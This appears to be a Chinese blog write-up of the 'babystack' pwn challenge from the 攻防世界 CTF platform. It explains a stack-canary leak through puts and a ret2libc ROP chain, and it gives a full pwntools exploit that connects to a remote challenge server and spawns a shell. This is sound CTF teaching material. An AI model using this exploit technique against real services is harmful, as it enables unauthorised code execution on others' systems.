-->
当前位置:首页 > DayDayUp > 正文内容

[WP] 攻防世界 babystack

Luz5年前 (2019-09-15)DayDayUp6937

进入IDA发现输入1读入0x100字符

输入2输出栈中字符

 

 

Checksec

开启了栈溢出保护,所以我们想要劫持rip需要首先拿到canary

 

Puts函数在碰到'\x00'后停止输出,不限长度,我们可以将栈空间的前0x88字节覆盖成非'\x00'的字符,再使用puts输出刚才输入的字符+canary前七字节(canary最后一字节一般都为'\x00'):

 

payload1='a'*0x88

p.recvuntil('>> ')

p.sendline("1")

p.sendline(payload1)

p.recvuntil('>> ')

p.sendline("2")

p.recvuntil('\n')

a=p.recv(7)

canary=u64('\x00'+a)

print ("canary get:"+hex(canary))

 

 

接着构造gadget调用puts输出read函数的真实地址,并计算出libc基址,system地址

'/bin/sh'地址

payload2='b'*0x88+p64(canary)*2+p64(poprdiret)+p64(readgot)+p64(putsplt)+p64(start)

p.recvuntil('>> ')

p.sendline("1")

p.send(payload2)

p.recvuntil('>> ')

p.sendline("3")

readaddr=u64(p.recv(6).ljust(8, '\x00'))

print(hex(readaddr))

libc=LibcSearcher('read',readaddr)

libcbase=readaddr-libc.dump('read')

sysaddr=libcbase+libc.dump('system')

binsh=libcbase+libc.dump('str_bin_sh')

print "libcbase:"+hex(libcbase)

print "systemaddr:"+hex(sysaddr)

print "binsh:"+hex(binsh)

 

注意:rop链最后需要返回到start以平衡堆栈

 

(我只把babystack文件拖到linux里了没有看到他给了libc文件,这里使用了libcsearcher找到了libc版本,问题不大)

 

由于栈被重置了,需要再找一次canary

之后可以构造rop链调用system("\bin\sh")拿到shell了

 

EXP:

#-*- coding: utf:8 -*-

from pwn import *

from LibcSearcher import *

elf=ELF("/root/桌面/New Folder 2/./babystack")

context.log_level="debug"

poprdiret=0x0000000000400a93

poprsir15ret=0x0000000000400a91

readgot=elf.got['read']

putsplt=elf.plt['puts']

start=0x0000000000400720

print hex(readgot)

print hex(putsplt)

#p=process("/root/桌面/New Folder 2/./babystack")

p=remote("111.198.29.45",42709)

payload1='a'*0x88

p.recvuntil('>> ')

p.sendline("1")

p.sendline(payload1)

p.recvuntil('>> ')

p.sendline("2")

p.recvuntil('\n')

a=p.recv(7)

canary=u64('\x00'+a)

print ("canary get:"+hex(canary))

payload2='b'*0x88+p64(canary)*2+p64(poprdiret)+p64(readgot)+p64(putsplt)+p64(start)

p.recvuntil('>> ')

p.sendline("1")

p.send(payload2)

p.recvuntil('>> ')

p.sendline("3")

readaddr=u64(p.recv(6).ljust(8, '\x00'))

print(hex(readaddr))

libc=LibcSearcher('read',readaddr)

libcbase=readaddr-libc.dump('read')

sysaddr=libcbase+libc.dump('system')

binsh=libcbase+libc.dump('str_bin_sh')

print "libcbase:"+hex(libcbase)

print "systemaddr:"+hex(sysaddr)

print "binsh:"+hex(binsh)

p.recvuntil('>> ')

p.sendline("1")

p.sendline(payload1)

p.recvuntil('>> ')

p.sendline("2")

#p.interactive()

p.recvuntil('\n')

a=p.recv(7)

canary=u64('\x00'+a)

print ("canary get:"+hex(canary))

payload3='c'*0x88+p64(canary)*2+p64(poprdiret)+p64(binsh)+p64(sysaddr)+p64(start)

p.recvuntil('>> ')

p.sendline("1")

p.sendline(payload3)

p.recvuntil('>> ')

p.sendline("3")

p.interactive()

 

标签: pwn

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。